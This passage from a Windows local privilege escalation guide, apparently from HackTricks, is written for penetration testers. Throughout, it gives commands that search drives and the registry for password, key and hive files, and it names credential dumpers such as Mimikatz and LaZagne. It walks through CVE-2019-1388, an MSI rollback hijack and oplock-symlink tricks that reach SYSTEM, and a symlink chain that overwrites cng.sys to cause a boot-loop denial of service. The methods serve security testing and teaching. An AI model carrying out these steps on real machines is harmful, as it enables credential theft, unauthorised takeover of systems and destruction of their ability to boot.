%WINDIR%\system32\config\system.sav %WINDIR%\system32\CCM\logs\*.log %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` Search all of the proposed files: ```text cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" ``` ```text Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` ### Credentials in the RecycleBin You should also check the Bin to look for credentials inside it To **recover passwords** saved by several programs you can use: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) ### Inside the registry **Other possible registry keys with credentials** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s reg query "HKCU\Software\TightVNC\Server" reg query "HKCU\Software\OpenSSH\Agent\Key" ``` [**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) ### Browsers History You should check for dbs where passwords from **Chrome or Firefox** are stored.\ Also check for the history, bookmarks and favourites of the browsers so maybe some **passwords are** stored there. Tools to extract passwords from browsers: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) - [**SharpChromium**](https://github.com/djhohnstein/SharpChromium) - [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) ### **COM DLL Overwriting** **Component Object Model (COM)** is a technology built within the Windows operating system that allows **intercommunication** between software components of different languages. Each COM component is **identified via a class ID (CLSID)** and each component exposes functionality via one or more interfaces, identified via interface IDs (IIDs). COM classes and interfaces are defined in the registry under **HKEY\CLASSES\ROOT\CLSID** and **HKEY\CLASSES\ROOT\Interface** respectively. This registry is created by merging the **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral). ![Browsers History - COM DLL Overwriting: Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28729%29.png) Basically, if you can **overwrite any of the DLLs** that are going to be executed, you could **escalate privileges** if that DLL is going to be executed by a different user. To learn how attackers use COM Hijacking as a persistence mechanism check: [Com Hijacking](/hacktricks/windows-hardening/windows-local-privilege-escalation/com-hijacking) ### **Generic Password search in files and registry** **Search for file contents** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` **Search for a file with a certain filename** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` **Search the registry for key names and passwords** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` ### Tools that search for passwords [**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** plugin I have created this plugin to **automatically execute every metasploit POST module that searches for credentials** inside the victim.\ [**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) automatically search for all the files containing passwords mentioned in this page.\ [**Lazagne**](https://github.com/AlessandroZ/LaZagne) is another great tool to extract password from a system. The tool [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) search for **sessions**, **usernames** and **passwords** of several tools that save this data in clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough Invoke-SessionGopher -AllDomain -o Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\ Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\ [Read this example for more information about **how to detect and exploit this vulnerability**.](/hacktricks/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation)\ [Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation Shared memory segments, referred to as **pipes**, enable process communication and data transfer. Windows provides a feature called **Named Pipes**, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as **named pipe server** and **named pipe client**. When data is sent through a pipe by a **client**, the **server** that set up the pipe has the ability to **take on the identity** of the **client**, assuming it has the necessary **SeImpersonate** rights. Identifying a **privileged process** that communicates via a pipe you can mimic provides an opportunity to **gain higher privileges** by adopting the identity of that process once it interacts with the pipe you established. For instructions on executing such an attack, helpful guides can be found [**here**](/hacktricks/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation) and [**here**](#from-high-integrity-to-system). Also the following tool allows to **intercept a named pipe communication with a tool like burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **and this tool allows to list and see all the pipes to find privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) ## Telephony tapsrv remote DWORD write to RCE The Telephony service (TapiSrv) in server mode exposes `\\pipe\\tapsrv` (MS-TRP). A remote authenticated client can abuse the mailslot-based async event path to turn `ClientAttach` into an arbitrary **4-byte write** to any existing file writable by `NETWORK SERVICE`, then gain Telephony admin rights and load an arbitrary DLL as the service. Full flow: - `ClientAttach` with `pszDomainUser` set to a writable existing path → the service opens it via `CreateFileW(..., OPEN_EXISTING)` and uses it for async event writes. - Each event writes the attacker-controlled `InitContext` from `Initialize` to that handle. Register a line app with `LRegisterRequestRecipient` (`Req_Func 61`), trigger `TRequestMakeCall` (`Req_Func 121`), fetch via `GetAsyncEvents` (`Req_Func 0`), then unregister/shutdown to repeat deterministic writes. - Add yourself to `[TapiAdministrators]` in `C:\Windows\TAPI\tsec.ini`, reconnect, then call `GetUIDllName` with an arbitrary DLL path to execute `TSPI_providerUIIdentify` as `NETWORK SERVICE`. More details: [Telephony Tapsrv Arbitrary Dword Write To Rce](/hacktricks/windows-hardening/windows-local-privilege-escalation/telephony-tapsrv-arbitrary-dword-write-to-rce) ## Misc ### File Extensions that could execute stuff in Windows Check out the page **[https://filesec.io/](https://filesec.io/)** ### Protocol handler / ShellExecute abuse via Markdown renderers Clickable Markdown links forwarded to `ShellExecuteExW` can trigger dangerous URI handlers (`file:`, `ms-appinstaller:` or any registered scheme) and execute attacker-controlled files as the current user. See: [Protocol Handler Shell Execute Abuse](/hacktricks/windows-hardening/protocol-handler-shell-execute-abuse) ### **Monitoring Command Lines for passwords** When getting a shell as a user, there may be scheduled tasks or other processes being executed which **pass credentials on the command line**. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences. ```bash while($true) { $process = Get-WmiObject Win32_Process | Select-Object CommandLine Start-Sleep 1 $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` ## Stealing passwords from processes ## From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass If you have access to the graphical interface (via console or RDP) and UAC is enabled, in some versions of Microsoft Windows it's possible to run a terminal or any other process such as "NT\AUTHORITY SYSTEM" from an unprivileged user. This makes it possible to escalate privileges and bypass UAC at the same time with the same vulnerability. Additionally, there is no need to install anything and the binary used during the process, is signed and issued by Microsoft. Some of the affected systems are the following: ```text SERVER ====== Windows 2008r2 7601 ** link OPENED AS SYSTEM ** Windows 2012r2 9600 ** link OPENED AS SYSTEM ** Windows 2016 14393 ** link OPENED AS SYSTEM ** Windows 2019 17763 link NOT opened WORKSTATION =========== Windows 7 SP1 7601 ** link OPENED AS SYSTEM ** Windows 8 9200 ** link OPENED AS SYSTEM ** Windows 8.1 9600 ** link OPENED AS SYSTEM ** Windows 10 1511 10240 ** link OPENED AS SYSTEM ** Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` To exploit this vulnerability, it's necessary to perform the following steps: ```text 1) Right click on the HHUPD.EXE file and run it as Administrator. 2) When the UAC prompt appears, select "Show more details". 3) Click "Show publisher certificate information". 4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear. 5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window. 6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process. 7) You now will have an "NT\AUTHORITY SYSTEM" command prompt. 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` You have all the necessary files and information in the following GitHub repository: https://github.com/jas502n/CVE-2019-1388[[35]](#references) ## From Administrator Medium to High Integrity Level / UAC Bypass Read this to **learn about Integrity Levels**: [Integrity Levels](/hacktricks/windows-hardening/windows-local-privilege-escalation/integrity-levels) Then **read this to learn about UAC and UAC bypasses:** [Uac User Account Control](/hacktricks/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control) ## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP The technique described [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs).[[31]](#references)[[32]](#references) The attack basically consist of abusing the Windows Installer's rollback feature to replace legitimate files with malicious ones during the uninstallation process. For this the attacker needs to create a **malicious MSI installer** that will be used to hijack the `C:\Config.Msi` folder, which will later be used by he Windows Installer to store rollback files during the uninstallation of other MSI packages where the rollback files would have been modified to contain the malicious payload. The summarized technique is the following: 1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** - Step 1: Install the MSI - Create an `.msi` that installs a harmless file (e.g., `dummy.txt`) in a writable folder (`TARGETDIR`). - Mark the installer as **"UAC Compliant"**, so a **non-admin user** can run it. - Keep a **handle** open to the file after install. - Step 2: Begin Uninstall - Uninstall the same `.msi`. - The uninstall process starts moving files to `C:\Config.Msi` and renaming them to `.rbf` files (rollback backups). - **Poll the open file handle** using `GetFinalPathNameByHandle` to detect when the file becomes `C:\Config.Msi\.rbf`. - Step 3: Custom Syncing - The `.msi` includes a **custom uninstall action (`SyncOnRbfWritten`)** that: - Signals when `.rbf` has been written. - Then **waits** on another event before continuing the uninstall. - Step 4: Block Deletion of `.rbf` - When signaled, **open the `.rbf` file** without `FILE_SHARE_DELETE` — this **prevents it from being deleted**. - Then **signal back** so the uninstall can finish. - Windows Installer fails to delete the `.rbf`, and because it can’t delete all contents, **`C:\Config.Msi` is not removed**. - Step 5: Manually Delete `.rbf` - You (attacker) delete the `.rbf` file manually. - Now **`C:\Config.Msi` is empty**, ready to be hijacked. > At this point, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`. 2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** - Step 6: Recreate `C:\Config.Msi` with Weak ACLs - Recreate the `C:\Config.Msi` folder yourself. - Set **weak DACLs** (e.g., Everyone:F), and **keep a handle open** with `WRITE_DAC`. - Step 7: Run Another Install - Install the `.msi` again, with: - `TARGETDIR`: Writable location. - `ERROROUT`: A variable that triggers a forced failure. - This install will be used to trigger **rollback** again, which reads `.rbs` and `.rbf`. - Step 8: Monitor for `.rbs` - Use `ReadDirectoryChangesW` to monitor `C:\Config.Msi` until a new `.rbs` appears. - Capture its filename. - Step 9: Sync Before Rollback - The `.msi` contains a **custom install action (`SyncBeforeRollback`)** that: - Signals an event when the `.rbs` is created. - Then **waits** before continuing. - Step 10: Reapply Weak ACL - After receiving the `.rbs created` event: - The Windows Installer **reapplies strong ACLs** to `C:\Config.Msi`. - But since you still have a handle with `WRITE_DAC`, you can **reapply weak ACLs** again. > ACLs are **only enforced on handle open**, so you can still write to the folder. - Step 11: Drop Fake `.rbs` and `.rbf` - Overwrite the `.rbs` file with a **fake rollback script** that tells Windows to: - Restore your `.rbf` file (malicious DLL) into a **privileged location** (e.g., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). - Drop your fake `.rbf` containing a **malicious SYSTEM-level payload DLL**. - Step 12: Trigger the Rollback - Signal the sync event so the installer resumes. - A **type 19 custom action (`ErrorOut`)** is configured to **intentionally fail the install** at a known point. - This causes **rollback to begin**. - Step 13: SYSTEM Installs Your DLL - Windows Installer: - Reads your malicious `.rbs`. - Copies your `.rbf` DLL into the target location. - You now have your **malicious DLL in a SYSTEM-loaded path**. - Final Step: Execute SYSTEM Code - Run a trusted **auto-elevated binary** (e.g., `osk.exe`) that loads the DLL you hijacked. - **Boom**: Your code is executed **as SYSTEM**. ### From Arbitrary File Delete/Move/Rename to SYSTEM EoP The main MSI rollback technique (the previous one) assumes you can delete an **entire folder** (e.g., `C:\Config.Msi`). But what if your vulnerability only allows **arbitrary file deletion** ? You could exploit **NTFS internals**: every folder has a hidden alternate data stream called: ```text C:\SomeFolder::$INDEX_ALLOCATION ``` This stream stores the **index metadata** of the folder. So, if you **delete the `::$INDEX_ALLOCATION` stream** of a folder, NTFS **removes the entire folder** from the filesystem. You can do this using standard file deletion APIs like: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` > Even though you're calling a *file* delete API, it **deletes the folder itself**. ### From Folder Contents Delete to SYSTEM EoP What if your primitive doesn’t allow you to delete arbitrary files/folders, but it **does allow deletion of the *contents* of an attacker-controlled folder**? 1. Step 1: Setup a bait folder and file - Create: `C:\temp\folder1` - Inside it: `C:\temp\folder1\file1.txt` 2. Step 2: Place an **oplock** on `file1.txt` - The oplock **pauses execution** when a privileged process tries to delete `file1.txt`. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` 3. Step 3: Trigger SYSTEM process (e.g., `SilentCleanup`) - This process scans folders (e.g., `%TEMP%`) and tries to delete their contents. - When it reaches `file1.txt`, the **oplock triggers** and hands control to your callback. 4. Step 4: Inside the oplock callback – redirect the deletion - Option A: Move `file1.txt` elsewhere - This empties `folder1` without breaking the oplock. - Don't delete `file1.txt` directly — that would release the oplock prematurely. - Option B: Convert `folder1` into a **junction**: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control ``` - Option C: Create a **symlink** in `\RPC Control`: ```bash # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` > This targets the NTFS internal stream that stores folder metadata — deleting it deletes the folder. 5. Step 5: Release the oplock - SYSTEM process continues and tries to delete `file1.txt`. - But now, due to the junction + symlink, it's actually deleting: ```text C:\Config.Msi::$INDEX_ALLOCATION ``` **Result**: `C:\Config.Msi` is deleted by SYSTEM. ### From Arbitrary Folder Create to Permanent DoS Exploit a primitive that lets you **create an arbitrary folder as SYSTEM/admin** — even if **you can’t write files** or **set weak permissions**. Create a **folder** (not a file) with the name of a **critical Windows driver**, e.g.: ```text C:\Windows\System32\cng.sys ``` - This path normally corresponds to the `cng.sys` kernel-mode driver. - If you **pre-create it as a folder**, Windows fails to load the actual driver on boot. - Then, Windows tries to load `cng.sys` during boot. - It sees the folder, **fails to resolve the actual driver**, and **crashes or halts boot**. - There’s **no fallback**, and **no recovery** without external intervention (e.g., boot repair or disk access). ### From privileged log/backup paths + OM symlinks to arbitrary file overwrite / boot DoS When a **privileged service** writes logs/exports to a path read from a **writable config**, redirect that path with **Object Manager symlinks + NTFS mount points** to turn the privileged write into an arbitrary overwrite (even **without** SeCreateSymbolicLinkPrivilege).[[15]](#references) **Requirements** - Config storing the target path is writable by the attacker (e.g., `%ProgramData%\...\.ini`). - Ability to create a mount point to `\RPC Control` and an OM file symlink (James Forshaw [symboliclink-testing-tools](https://github.com/googleprojectzero/symboliclink-testing-tools)).[[16]](#references)[[17]](#references) - A privileged operation that writes to that path (log, export, report). **Example chain** 1. Read the config to recover the privileged log destination, e.g. `SMSLogFile=C:\users\iconics_user\AppData\Local\Temp\logs\log.txt` in `C:\ProgramData\ICONICS\IcoSetup64.ini`. 2. Redirect the path without admin: ```batch mkdir C:\users\iconics_user\AppData\Local\Temp\logs CreateMountPoint C:\users\iconics_user\AppData\Local\Temp\logs \RPC Control CreateSymlink "\\RPC Control\\log.txt" "\\??\\C:\\Windows\\System32\\cng.sys" ``` 3. Wait for the privileged component to write the log (e.g., admin triggers "send test SMS"). The write now lands in `C:\Windows\System32\cng.sys`. 4. Inspect the overwritten target (hex/PE parser) to confirm corruption; reboot forces Windows to load the tampered driver path → **boot loop DoS**. This also generalizes to any protected file a privileged service will open for write. > `cng.sys` is normally loaded from `C:\Windows\System32\drivers\cng.sys`, but if a copy exists in `C:\Windows\System32\cng.sys` it can be attempted first, making it a reliable DoS sink for corrupt data. ## **From High Integrity to System** ### **New service** If you are already running on a High Integrity process, the **path to SYSTEM** can be easy just **creating and executing a new service**: ```text sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] > When creating a service binary make sure it's a valid service or that the binary performs the necessary actions to fast as it'll be killed in 20s if it's not a valid service. ### AlwaysInstallElevated From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.\ [More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System **You can** [**find the code here**](/hacktricks/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system)**.** ### From SeDebug + SeImpersonate to Full Token privileges If you have those token privileges (probably you will find this in an already High Integrity process), you will be able to **open almost any process** (not protected processes) with the SeDebug privilege, **copy the token** of the process, and create an **arbitrary process with that token**.\ Using this technique is usually **selected any process running as SYSTEM with all the token privileges** (_yes, you can find SYSTEM processes without all the token privileges_).\ **You can find an** [**example of code executing the proposed technique here**](/hacktricks/windows-hardening/windows-local-privilege-escalation/sedebug-seimpersonate-copy-token)**.** ### **Named Pipes** This technique is used by meterpreter to escalate in `getsystem`. The technique consists on **creating a pipe and then create/abuse a service to write on that pipe**. Then, the **server** that created the pipe using the **`SeImpersonate`** privilege will be able to **impersonate the token** of the pipe client (the service) obtaining SYSTEM privileges.\ If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](/hacktricks/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes). ### Dll Hijacking If you manages to **hijack a dll** being **loaded** by a **process** running as **SYSTEM** you will be able to execute arbitrary code with those permissions. Therefore Dll Hijacking is also useful to this kind of privilege escalation, and, moreover, if far **more easy to achieve from a high integrity process** as it will have **write permissions** on the folders used to load dlls.\ **You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** - [https://github.com/sailay1996/RpcSsImpersonator](https://github.com/sailay1996/RpcSsImpersonator) - [https://decoder.cloud/2020/05/04/from-network-service-to-system/](https://decoder.cloud/2020/05/04/from-network-service-to-system/) - [https://github.com/decoder-it/NetworkServiceExploit](https://github.com/decoder-it/NetworkServiceExploit) ### From LOCAL SERVICE or NETWORK SERVICE to full privs **Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) ## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Useful tools **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ [**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Check for misconfigurations and sensitive files (**[**check here**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detected.**\ [**JAWS**](https://github.com/411Hall/JAWS) **-- Check for some possible misconfigurations and gather info (**[**check here**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ [**privesc** ](https://github.com/enjoiz/Privesc)**-- Check for misconfigurations**\ [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information. Use -Thorough in local.**\ [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extracts credentials from Credential Manager. Detected.**\ [**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spray gathered passwords across domain**\ [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh is a PowerShell ADIDNS/LLMNR/mDNS spoofer and man-in-the-middle tool.**\ [**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Basic privesc Windows enumeration**\ [~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **~~**~~ -- Search for known privesc vulnerabilities (DEPRECATED for Watson)\ [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Local checks **(Need Admin rights)** **Exe** [**Watson**](https://github.com/rasta-mouse/Watson) -- Search for known privesc vulnerabilities (needs to be compiled using VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ [**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumerates the host searching for misconfigurations (more a gather info tool than privesc) (needs to be compiled) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ [**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extracts credentials from lots of software (precompiled exe in github)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port of PowerUp to C#**\ [~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **~~**~~ -- Check for misconfiguration (executable precompiled in github). Not recommended. It does not work well in Win10.\ [~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Check for possible misconfigurations (exe from python). Not recommended. It does not work well in Win10. **Bat** [**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Tool created based in this post (it does not need accesschk to work properly but it can use it). **Local** [**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Reads the output of **systeminfo** and recommends working exploits (local python)\ [**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Reads the output of **systeminfo** and recommends working exploits (local Python) **Meterpreter** _multi/recon/local_exploit_suggestor_ You have to compile the project using the correct version of .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). To see the installed version of .NET on the victim host you can do: ```text C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` ## References - [1] [Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html) - [2] [Elevating privileges by exploiting weak folder permissions](http://www.greyhathacker.net/?p=738) - [3] [Windows Privilege Escalation - a cheatsheet](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html) - [4] [lpeworkshop - Windows / Linux Local Privilege Escalation Workshop](https://github.com/sagishahar/lpeworkshop) - [5] [DerbyCon 3.0 - Windows Attacks: AT is the new black (Rob Fuller & Chris Gates)](https://www.youtube.com/watch?v=_8xJaaQlpBo) - [6] [Privilege Escalation - Windows - Total OSCP Guide](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html) - [7] [Windows - Privilege Escalation - PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md) - [8] [Windows Privilege Escalation Guide](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) - [9] [Windows-Privilege-Escalation checklist](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md) - [10] [Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation) - [11] [Windows Privilege Escalation Methods for Pentesters](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/) - [12] [0xdf – HTB/VulnLab JobTwo: Word VBA macro phishing via SMTP → hMailServer credential decryption → Veeam CVE-2023-27532 to SYSTEM](https://0xdf.gitlab.io/2026/01/27/htb-jobtwo.html) - [13] [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) - [14] [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/) - [15] [Unit 42 – Privileged File System Vulnerability Present in a SCADA System](https://unit42.paloaltonetworks.com/iconics-suite-cve-2025-0921/) - [16] [Symbolic Link Testing Tools – CreateSymlink usage](https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CreateSymlink/CreateSymlink_readme.txt) - [17] [A Link to the Past. Abusing Symbolic Links on Windows](https://infocon.org/cons/SyScan/SyScan%202015%20Singapore/SyScan%202015%20Singapore%20presentations/SyScan15%20James%20Forshaw%20-%20A%20Link%20to%20the%20Past.pdf) - [18] [RIP RegPwn – MDSec](https://www.mdsec.co.uk/2026/03/rip-regpwn/) - [19] [RegPwn BOF (Cobalt Strike BOF port)](https://github.com/Flangvik/RegPwnBOF) - [20] [ZDI - Node.js Trust Falls: Dangerous Module Resolution on Windows](https://www.thezdi.com/blog/2026/4/8/nodejs-trust-falls-dangerous-module-resolution-on-windows) - [21] [Node.js modules: loading from `node_modules` folders](https://nodejs.org/api/modules.html#loading-from-node_modules-folders) - [22] [npm package.json: `optionalDependencies`](https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies) - [23] [Process Monitor (Procmon)](https://learn.microsoft.com/en-us/sysinternals/downloads/procmon) - [24] [Trail of Bits - C/C++ checklist challenges, solved](https://blog.trailofbits.com/2026/05/05/c/c-checklist-challenges-solved/) - [25] [Microsoft Learn - RtlQueryRegistryValues function](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-rtlqueryregistryvalues) - [26] [PowerShell Gallery - NtObjectManager](https://www.powershellgallery.com/packages/NtObjectManager/2.0.1) - [27] [sec-zone - CVE-2026-36213](https://github.com/sec-zone/CVE-2026-36213) - [28] [sec-zone - Hijack-service-binaries](https://github.com/sec-zone/Hijack-service-binaries) - [29] [Pwn2Own with Microslop: Chaining CLDFLT and DirectX Kernel Race Conditions for Windows LPE](https://dungnm.hashnode.dev/pwn2own-with-microslop) - [30] [One I/O Ring to Rule Them All: A Full Read/Write Exploit Primitive on Windows 11](https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/) - [31] [Abusing Arbitrary File Deletes to Escalate Privilege and Other Great Tricks](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) - [32] [thezdi/PoC - FilesystemEoPs exploit code](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs) - [33] [GoSecure – WSUS Attacks Part 2: CVE-2020-1013, a Windows 10 Local Privilege Escalation 1-Day](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/) - [34] [Windows 7: Exploring Credential Manager and Windows Vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault) - [35] [jas502n - CVE-2019-1388 PoC](https://github.com/jas502n/CVE-2019-1388) - [36] [research.nccgroup.com - Kerberos Resource Based Constrained Delegation When An Image Change Leads To A Privilege Escalation](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation) - [37] [blog.ropnop.com - Extracting Ssh Private Keys From Windows 10 Ssh Agent](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent)